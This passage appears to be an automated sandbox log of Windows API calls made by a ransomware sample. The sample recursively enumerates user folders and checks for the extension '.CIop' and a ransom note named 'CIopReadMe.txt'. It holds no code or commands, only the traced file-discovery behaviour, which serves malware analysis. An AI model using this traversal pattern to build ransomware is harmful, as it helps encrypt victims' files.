lpString1="pQzyM") returned="pQzyM" [0169.212] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.212] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.212] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.212] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.212] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.212] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.212] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0169.212] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0169.212] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.212] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0169.212] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0169.212] SetErrorMode (uMode=0x1) returned 0x1 [0169.212] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0169.212] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0169.212] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0169.212] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0169.212] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.212] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0169.212] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0169.213] lstrlenW (lpString=".CIop") returned 5 [0169.213] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.213] lstrlenW (lpString=".CIop") returned 5 [0169.213] lstrlenW (lpString=".CIop") returned 5 [0169.213] lstrlenW (lpString=".CIop") returned 5 [0169.213] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0169.213] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0169.213] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67de38 [0169.213] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0169.213] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0169.213] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.213] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.213] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.213] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0169.213] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.213] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0169.214] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.214] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0169.214] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0169.214] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0169.214] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0169.214] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.214] SetErrorMode (uMode=0x1) returned 0x1 [0169.214] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.214] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.214] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.214] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0169.214] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e378 [0169.214] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0169.214] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrlenW (lpString="ntuser.dat") returned 10 [0169.214] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.214] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0169.214] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e378 [0169.214] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0169.214] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0169.215] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0169.215] SetErrorMode (uMode=0x1) returned 0x1 [0169.215] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0169.215] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0169.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.215] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0169.215] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0169.215] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0169.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.215] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0169.215] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0169.215] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0169.215] SetErrorMode (uMode=0x1) returned 0x1 [0169.215] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0169.215] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0169.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.215] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0169.215] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0169.215] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0169.215] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0169.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.215] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0169.216] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0169.216] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0169.216] SetErrorMode (uMode=0x1) returned 0x1 [0169.216] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0169.216] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0169.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.216] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0169.216] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0169.216] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0169.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.216] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0169.216] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0169.216] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0169.216] SetErrorMode (uMode=0x1) returned 0x1 [0169.216] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0169.216] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0169.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.216] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0169.216] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0169.216] lstrlenW (lpString="Desktop") returned 7 [0169.216] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.216] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0169.216] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0169.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.217] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0169.217] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0169.217] lstrlenW (lpString="Desktop") returned 7 [0169.217] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.217] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.217] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0169.217] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0169.217] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.217] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.217] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.217] SetErrorMode (uMode=0x1) returned 0x1 [0169.217] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.217] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0169.217] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0169.217] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0169.217] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.218] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0169.218] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0169.218] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.218] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0169.218] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.219] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0169.219] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0169.219] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.219] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0169.219] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0169.219] SetErrorMode (uMode=0x1) returned 0x1 [0169.219] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0169.219] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0169.219] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0169.219] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0169.219] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.219] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0169.219] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0169.219] lstrlenW (lpString=".CIop") returned 5 [0169.219] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.219] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.219] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.219] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0169.219] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0169.219] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.220] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0169.220] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0169.220] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0169.220] SetErrorMode (uMode=0x1) returned 0x1 [0169.220] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0169.220] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0169.220] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.220] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0169.220] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0169.220] lstrlenW (lpString=".CIop") returned 5 [0169.220] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.220] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.220] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.220] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0169.220] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.220] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0169.220] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0169.220] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0169.220] SetErrorMode (uMode=0x1) returned 0x1 [0169.220] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0169.220] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0169.220] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0169.220] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.220] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0169.220] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0169.220] lstrlenW (lpString=".CIop") returned 5 [0169.220] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.220] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.221] FindClose 